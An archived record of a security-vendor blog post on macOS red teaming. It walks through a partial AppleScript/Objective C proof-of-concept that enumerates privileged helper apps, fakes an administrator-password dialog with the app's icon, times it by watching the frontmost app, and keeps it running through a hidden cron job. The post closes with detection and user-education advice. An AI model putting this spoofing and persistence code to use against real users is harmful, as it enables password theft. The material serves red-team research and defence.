{
	"id": "486cd0a4-615c-4766-b3ae-9520cbfe08e1",
	"created_at": "2026-04-06T02:10:49.571685Z",
	"updated_at": "2026-04-10T03:24:18.040599Z",
	"deleted_at": null,
	"sha1_hash": "f7fa3bcb72b159a9dc93724dd582f2df15436e02",
	"title": "macOS Red Team: Calling Apple APIs Without Building Binaries",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3549622,
	"plain_text": "macOS Red Team: Calling Apple APIs Without Building Binaries\r\nBy Phil Stokes\r\nPublished: 2019-12-05 · Archived: 2026-04-06 01:36:02 UTC\r\nIn the previous post on macOS red teaming, we set out to create a post-exploitation script that could automate\r\nsearching for privileged apps on a target’s Mac and generate a convincing-looking authorization request dialog\r\nbox to steal the user’s password. We also want our script to be able to monitor for use of the associated app so that\r\nit can trigger the spoofing attempt at an appropriate time to maximize success. In this post, we’ll continue\r\ndeveloping our script, explore the wider case for taking an interest in AppleScript from a security angle, and\r\nconclude with some notes on mitigation and education.\r\nFrom last time, we have got as far as enumerating any Privileged Helper Tools, finding their parent applications,\r\ngrabbing the associated icon and producing a reasonably credible-looking dialog box. My incomplete version of\r\nthe script so far looks something like this:\r\nuse AppleScript version \"2.4\"\r\nuse scripting additions\r\nuse framework \"Foundation\"\r\nproperty NSString : a reference to current application's NSString\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 1 of 12\n\nproperty NSFileManager : a reference to current application's NSFileManager\r\nproperty NSWorkspace : a reference to current application's NSWorkspace\r\nset NSDirectoryEnumerationSkipsHiddenFiles to a reference to 4\r\nset NSFileManager to a reference to current application's NSFileManager\r\nset NSDirectoryEnumerationSkipsPackageDescendants to a reference to 2\r\nset defaultIconName to \"AppIcon\"\r\nset defaultIconStr to \"/System/Library/CoreServices/Software Update.app/Contents/Resources/SoftwareUp\r\nset resourcesFldr to \"/Contents/Resources/\"\r\nset pht to \"/Library/PrivilegedHelperTools\"\r\nset iconExt to \".icns\"\r\nset makeChanges to \" wants to make changes.\"\r\nset privString to \"Enter the Administrator password for \"\r\nset allowThis to \" to allow this.\"\r\nset software_update_icon to \"\"\r\n(*\r\ntba\r\n*)\r\non removeWhiteSpace:aString\r\nset theString to current application's NSString's stringWithString:aString\r\nset theWhiteSet to current application's NSCharacterSet's whitespaceAndNewlineCharacterSet()\r\nset theString to theString's stringByTrimmingCharactersInSet:theWhiteSet\r\nreturn theString\r\nend removeWhiteSpace:\r\non removePunctuation:aString\r\nset theString to current application's NSString's stringWithString:aString\r\nset thePuncSet to current application's NSCharacterSet's punctuationCharacterSet()\r\nset theString to theString's stringByTrimmingCharactersInSet:thePuncSet\r\nreturn theString\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 2 of 12\n\nend removePunctuation:\r\non getSubstringFromIndex:anIndex ofString:aString\r\nset s_String to NSString's stringWithString:aString\r\nreturn s_String's substringFromIndex:anIndex\r\nend getSubstringFromIndex:ofString:\r\non getSubstringToIndex:anIndex ofString:aString\r\nset s_String to NSString's stringWithString:aString\r\nreturn s_String's substringToIndex:anIndex\r\nend getSubstringToIndex:ofString:\r\non getSubstringFromCharacter:char inString:source_string\r\nset s_String to NSString's stringWithString:source_string\r\nset find_char to NSString's stringWithString:char\r\nset rangeOf to s_String's rangeOfString:char\r\nreturn s_String's substringFromIndex:(rangeOf's location)\r\nend getSubstringFromCharacter:inString:\r\non getSubstringToCharacter:char inString:source_string\r\nset s_String to NSString's stringWithString:source_string\r\nset find_char to NSString's stringWithString:char\r\nset rangeOf to s_String's rangeOfString:char\r\nreturn s_String's substringToIndex(rangeOf's location)\r\nend getSubstringToCharacter:inString:\r\non getOffsetOfLastOccurenceOf:target inString:source\r\nset astid to AppleScript's text item delimiters\r\nset AppleScript's text item delimiters to target\r\ntry\r\nset ro to (count source) - (count text item -1 of source)\r\non error errMsg number errNum\r\ndisplay dialog errMsg\r\nset AppleScript's text item delimiters to astid\r\nreturn ro - (length of target) + 1\r\nend try\r\nend getOffsetOfLastOccurenceOf:inString:\r\non getShortAppName:longAppName\r\ntry\r\nset longName to NSString's stringWithString:longAppName\r\nset lastIndex to my getOffsetOfLastOccurenceOf:\".\" inString:longAppName\r\nset shorter to my getSubstringToIndex:(lastIndex - 1) ofString:longName\r\nset shortest to shorter's lastPathComponent()\r\non error\r\n# log \"didn't get short name for \" \u0026 longName\r\nreturn longAppName\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 3 of 12\n\nend try\r\nreturn shortest as text\r\nend getShortAppName:\r\non enumerateFolderContents:aFolderPath\r\nset folderItemList to \"\" as text\r\nset nsPath to current application's NSString's stringWithString:aFolderPath\r\n--- Expand Tilde \u0026 Symlinks (if any exist) ---\r\nset nsPath to nsPath's stringByResolvingSymlinksInPath()\r\n--- Get the NSURL ---\r\nset folderNSURL to current application's |NSURL|'s fileURLWithPath:nsPath\r\nset theURLs to (NSFileManager's defaultManager()'s enumeratorAtURL:folderNSURL includingPrope\r\nset AppleScript's text item delimiters to linefeed\r\ntry\r\nset folderItemList to ((theURLs's valueForKey:\"path\") as list) as text\r\nend try\r\nreturn folderItemList\r\nend enumerateFolderContents:\r\non getIconFor:thePath\r\nset aPath to NSString's stringWithString:thePath\r\nset bundlePath to current application's NSBundle's bundleWithPath:thePath\r\nset theDict to bundlePath's infoDictionary()\r\nset iconFile to theDict's valueForKeyPath:(NSString's stringWithString:\"CFBundleIconFile\")\r\nif (iconFile as text) contains \".icns\" then\r\nset iconFile to iconFile's stringByDeletingPathExtension()\r\nend if\r\nreturn iconFile\r\nend getIconFor:\r\non getAppForBundleID:anID\r\nset allApps to paragraphs of (do shell script my lsappinfo)\r\nrepeat with apps in allApps\r\nif apps contains anID then\r\nset appStr to (NSString's stringWithString:apps)\r\nset subst to (my getSubstringFromCharacter:\"\"\" inString:appStr)\r\nset subst to (my removeWhiteSpace:subst)\r\nset subst to (my removePunctuation:subst)\r\ntry\r\nset bundlePath to (NSWorkspace's sharedWorkspace's absolutePathForApp\r\nif bundlePath is not missing value then\r\nset o to (my getOffsetOfLastOccurenceOf:\"/\" inString:(bundleP\r\nset appname to (my getSubstringFromIndex:o ofString:bundlePat\r\nif appname is not missing value then\r\nreturn appname as text\r\nelse\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 4 of 12\n\nreturn bundlePath as text\r\nend if\r\nend if\r\nend try\r\nreturn subst as text\r\nelse\r\nend if\r\nend repeat\r\nend getAppForBundleID:\r\non getPrivilegedHelperTools()\r\nreturn its enumerateFolderContents:(my pht)\r\nend getPrivilegedHelperTools\r\non getPrivilegedHelperPaths()\r\nset helpers to paragraphs of its getPrivilegedHelperTools()\r\nset toolNames to {}\r\nrepeat with n from 1 to count of helpers\r\nset this_helper to item n of helpers\r\nset nsHlpr to (NSString's stringWithString:this_helper)\r\n-- now we can use NSString API to separate the path components\r\nset helperName to nsHlpr's lastPathComponent()\r\nset end of toolNames to {name:helperName as text, path:this_helper}\r\nend repeat\r\nreturn toolNames\r\nend getPrivilegedHelperPaths\r\nset helpers to my getPrivilegedHelperPaths()\r\nset helpers_and_apps to {}\r\nrepeat with hlpr in helpers\r\nset bundleID to missing value\r\nset idString to missing value\r\ntry\r\nset this_hlpr to hlpr's path\r\nset idString to (do shell script \"launchctl plist __TEXT,__info_plist \" \u0026 this_hlpr \u0026\r\nend try\r\nif idString is not missing value then\r\nset nsIDStr to (NSString's stringWithString:idString)\r\nset sep to (NSString's stringWithString:\"identifier \")\r\nset components to (nsIDStr's componentsSeparatedByString:sep)\r\nif (count of components) is 2 then\r\nset str to item 2 of components\r\nset str to (my removeWhiteSpace:str)\r\nset str to (my (its removePunctuation:str))\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 5 of 12\n\nset str to (str's stringByReplacingOccurrencesOfString:\"\"\" withString:\"\")\r\nset bundleID to (str's componentsSeparatedByString:\" \")'s item 1\r\nset bundlePath to (NSWorkspace's sharedWorkspace's absolutePathForAppBundleWi\r\nend if\r\nif bundleID is not missing value then\r\nset end of helpers_and_apps to {parent:bundleID as text, path:bundlePath as t\r\nend if\r\nend if\r\nend repeat\r\nset helpersCount to count of helpers_and_apps\r\nif helpersCount is greater than 0 then\r\n# -- choose one at random\r\nset n to (random number from 1 to helpersCount) as integer\r\nset chosenHelper to item n of helpers_and_apps\r\nset hlprName to chosenHelper's helperName\r\nset parentName to chosenHelper's path\r\nset shortName to my getShortAppName:(parentName as text)\r\n-- set the default icon in case next command fails\r\nset my software_update_icon to POSIX file (my defaultIconStr as text)\r\n-- try to get the current helper apps icon\r\ntry\r\nset iconName to my getIconFor:parentName\r\nset my software_update_icon to POSIX file (parentName \u0026 my resourcesFldr \u0026 (iconName\r\nend try\r\n-- let's get the user name from Foundation framework:\r\nset userName to current application's NSUserName()\r\ndisplay dialog hlprName \u0026 my makeChanges \u0026 return \u0026 my privString \u0026 userName \u0026 my allowThis d\r\nend if\r\nChoosing an Execution Method\r\nOne of AppleScript’s great versatilities is the sheer variety of ways that you can execute it. This is a topic I will\r\nexplore further another time, but for now let’s simply list the ways. Aside from running your script in a Script\r\nEditor – something you’d likely never do other than during development – you can run AppleScript code from\r\nServices workflows, Mail Rules, Folder Actions, Droplets, and a bunch of third party utilities to boot. You can\r\nexport your script as an application directly from the Script Editor, complete with its own Resources folder and\r\nicon, and you can even codesign it right there, too. \r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 6 of 12\n\nBut perhaps the most versatile – and stealthy – way of all is simply to save your script as plain text with an\r\nosascript shebang at the top. That will allow you to call it from the command line, with no pre-compilation\r\nnecessary at all. Try this simple experiment in your favorite text or code editor:\r\nuse framework \"Foundation\"\r\nproperty NSWorkspace : a reference to current application's NSWorkspace\r\nset isFront to NSWorkspace's sharedWorkspace's frontmostApplication's localizedName as text\r\nIf your editor has the ability to run code directly (e.g, in BBEdit you can execute the contents of the front window\r\nwith Command-R), run it now and note the result. Otherwise, save the file and run it from the command line.\r\nOf course, it returns the code editor itself since that is the frontmost app when you execute it. If we save the file as\r\n‘frontmost_app’ without a file extension and run it from the Terminal, no prizes for guessing what’s returned, as\r\nthe Terminal is now the frontmost app:\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 7 of 12\n\nThis may seem trivial, but it’s actually quite consequential. Until relatively recently, if you wanted to call Apple’s\r\nCarbon or Cocoa APIs on a Mac, you needed to build your code and compile it into a Mach-O binary. Of course,\r\nyou don’t need a Mach-O if you want to run Bash shell commands, but then you can’t access the powerful Cocoa\r\nand Foundation APIs from that kind of shell script either. \r\nThe problem with binaries, though, particularly on Mojave and Catalina, is that they can be scanned for strings\r\nand byte sequences, subjected to codesigning and notarization checks, and typically are written to disk where they\r\ncan be detected by AV suites and other security tools. Wouldn’t it be nice if there was a way of executing native\r\nAPI code without all those security hurdles to get past? Wouldn’t it be nice if we could execute that code in\r\nmemory?\r\nOn that point, the recent discovery of a “fileless” macOS malware that builds and executes a binary in memory\r\nusing the native NSCreateObjectFileImageFromMemory and NSLinkModule caused a bit of a stir this week,\r\nalthough it’s not the first time this technique has been seen in the wild. However, with AppleScript/Objective C,\r\nwe can get the power of Cocoa and Foundation APIs without building a binary at all. And since we can execute\r\nour scripts containing AppleScript/Objective C from plain, uncompiled text, that means we can CURL out to a\r\nremote server to download and then execute our “malicious” AppleScript/Objective C code in memory, too,\r\nwithout ever touching the file system. \r\nAt this point, it’s probably worth pointing out that AppleScript isn’t the only way you can do this. There is also\r\nJavaScript for Automation (JXA), a 3rd party Python/Objective C (PyObjC) and even Swift can be used as a\r\nscripting language. However, to my mind AppleScript/Objective C is more stable and mature than JXA, less\r\nobvious than Python and doesn’t require external dependencies, while also substantially easier to develop than\r\nSwift scripts. That doesn’t mean these alternatives aren’t worth our attention another day, though!\r\nBut wait…Why Not Use ‘Vanilla’ AppleScript?\r\nLet’s return to our Proof-of-Concept script that we began in the previous post. Our little NSWorkspace code\r\nsnippet above will come in handy as one of the tasks we have to implement is watching for the app that we have\r\nchosen to spoof becoming active. This will be an ideal time to socially engineer the user and see if we can catch\r\nour target off guard and grab their credentials. \r\nOld school AppleScripters will know that we can use a short snippet of what is sometimes called “vanilla”\r\nAppleScript code to tell us which app is “frontmost” without reaching out to Cocoa APIs like NSWorkspace. \r\ntell application \"System Events\"\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 8 of 12\n\nset frontapp to POSIX path of (file of process 1 whose frontmost is true) as text\r\nend tell\r\nHowever, vanilla AppleScript is problematic on a few counts. One, AppleScript is much slower than Objective C;\r\ntwo, the System Events app itself is notoriously slow and sometimes buggy; three, on Catalina, Apple have put\r\nlimits on what you can do with some of the Apple Events generated by AppleScript. As soon as you start trying to\r\ncontrol applications with AppleScript you are at risk of triggering a user consent dialog. From WWDC 2019:\r\n“…the user must consent before one app can use AppleScript or raw Apple Events to control the actions\r\nof another app. These consent prompts make it clear, which apps are acting under the influence of\r\nwhich other apps and give the user control over that automation.”\r\nWe can avoid these potentially noisy Apple Events by steering clear of interacting with other apps and utilities\r\nwith vanilla AppleScript and sticking to a combination of Foundation and Cocoa APIs and calling out to native\r\ncommand line utilities where necessary. \r\nFinding the Right Time For Social Engineering\r\nOur next obstacle is figuring out how to check for our target app becoming frontmost without our own code\r\ngetting in the way and becoming frontmost when we execute it. The answer to that problem lies in deciding how\r\nwe’re going to launch our POC script. \r\nAs we’ve seen, there are many different contexts in which we can launch AppleScript code, but let’s assume here\r\nthat we will execute our script from a plain text ASCII file. We can do that in any number of ways. From a parent\r\nbash or python script, or directly from osascript , and there are also a number of options in terms of\r\nwatching for the application to come frontmost. Rather than recommend any in particular, I’ll refer you to this\r\npost on macOS persistence methods, which explains the various options for launching persistent code. For the\r\nsake of this example, I’m going to use a cron job because cron jobs are quick and easy to write and less visible to\r\nmost users than, say, LaunchAgents and LaunchDaemons. \r\nWe can insert a cron job to the user’s crontab without authorization or authentication. A simple echo will do,\r\nthough beware that this particular way of doing it will overwrite any existing cron jobs the user may have:\r\n$ echo '*/1  *  *  *  * /tmp/.local' | crontab -\r\nThis will cause whatever is located at /tmp/.local to execute once a minute, indefinitely. Of course, we place\r\nour POC script at just that location. Let’s expand our earlier snippet and test this mechanism to make sure it\r\nreturns the application that the user is engaged with rather than our calling code:\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 9 of 12\n\nSave this as /tmp/.local and execute the line above to install the crontab. Assuming you have no other cron\r\njobs, you can safely do this on your own machine and remove the crontab later with \r\n$ crontab -r\r\nNow, you might like to continue browsing for a minute or so before inspecting what’s inside the ~/front.out\r\nfile. If all’s gone well, it should be the name of your browser, or whatever application you were using when the\r\ncode triggered. \r\nThe cron job will keep running the script and overwrite the last entry every minute until you either delete the\r\ncrontab or remove the script at /tmp/.local . \r\nWe now have a mechanism for watching for the user’s activity that should not trip any built-in macOS security\r\nmechanisms. We can now hook that up to our POC script so that whatever application has been chosen by the\r\nscript to get spoofed is the one we watch out for.\r\nLet’s add a repeat loop that calls a new handler, checkIfFrontmost:shortName .\r\nYou can now create the handler further up the script by adapting the code snippet we tested above to check and\r\nreturn true if the app name is the same as shortName , and false otherwise. Remember that shortName is being\r\npassed into the handler as an NSString, so deal with that as described in the previous post.\r\nPassword Capture and Confirmation\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 10 of 12\n\nWe now have pretty much everything in place: a means of enumerating trusted, authorized helper tools and their\r\nparent apps, a convincing dialog box with icon and appropriate title, and a means of determining when the user is\r\nengaged with our target app. Let’s add the code for dealing with the dialog box’s “OK” and “Cancel” buttons.\r\nHere we repeat the request twice, and save the answer given in a list called answers . Later, we retrieve the last\r\nanswer in the list, assuming that the user would have typed more carefully on the second request, as typically\r\nusers believe a failed authorization is due to their own typing error. We also add some logic here in case the user\r\ndecides to cancel out at any point. In that event, we throw another dialog saying the parent app “can’t continue”,\r\nand we then attempt to kill the process by getting its PID either from the app’s path or its bundle identifier. Again,\r\nnote we could do this directly with vanilla AppleScript just by using a \r\ntell application \"BBEdit\" to quit\r\nWe could also use NSRunningApplication’s terminate API, but at risk of running into macOS security checks,\r\nit may be better to shell out and issue a kill command via do shell script . Here’s a quick and dirty handler\r\nfor grabbing the PID that probably needs a bit more battle-testing.\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 11 of 12\n\nFinally, I leave it as an exercise for the reader to decide on how best to write the password out to file. You could\r\nuse vanilla AppleScript here, since it won’t involve interapplication communication, but there’s a perfectly good\r\n(faster, stabler) NSString writeToFile: API that you can use instead. Regardless of technique, consider the\r\nlocation carefully in light of Mojave’s and Catalina’s new user privacy restrictions. Our incomplete POC script\r\nwill also require some further logic to stop the spoofing (remember that cron job is still firing!) once we’ve\r\nsuccessfully captured the password.\r\nBlue Teams and Mitigation Strategies\r\nIn this post and the previous post, I’ve tried to show how AppleScript can be leveraged as a “living off the land”\r\nutility in the hope of drawing attention to just how powerful this underused and underrated macOS technology\r\nreally is.\r\nWhile I find it unlikely that threat actors would use these techniques in the wild – in part, because threat actors\r\nalready have well established techniques for acquiring privileges – I believe it is important that as security\r\nresearchers we turn over every stone, look into every possibility and ask questions like “what if someone did\r\nthis?” “how would we detect it?” “what should we do to prevent it?” I believe the onus is on us to know at least as\r\nmuch as our adversaries about how macOS technologies work and what can be done with them. \r\nOn top of that, the ease (after a little practice!) with which sophisticated and powerful AppleScript/Objective C\r\nscripts can be built, modified and deployed can provide another useful tool for red teams looking for unexpected\r\npay offs in their engagements. \r\nFor mitigation strategies, aside from running demos of this kind of spoofing activity to educate users, defenders\r\nshould look out for osascript in the processes list. There aren’t many legitimate users of osascript in\r\norganizations and those that there are should be easy to enumerate and monitor. AppleScript is very much like “the\r\nPowerShell of macOS”, only with much more power and much less scrutiny from the security community. Let’s\r\nmake sure we, as defenders, know more about it than those with malicious intent.\r\nSource: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nhttps://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
	],
	"report_names": [
		"macos-red-team-calling-apple-apis-without-building-binaries"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775441449,
	"ts_updated_at": 1775791458,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f7fa3bcb72b159a9dc93724dd582f2df15436e02.pdf",
		"text": "https://archive.orkl.eu/f7fa3bcb72b159a9dc93724dd582f2df15436e02.txt",
		"img": "https://archive.orkl.eu/f7fa3bcb72b159a9dc93724dd582f2df15436e02.jpg"
	}
}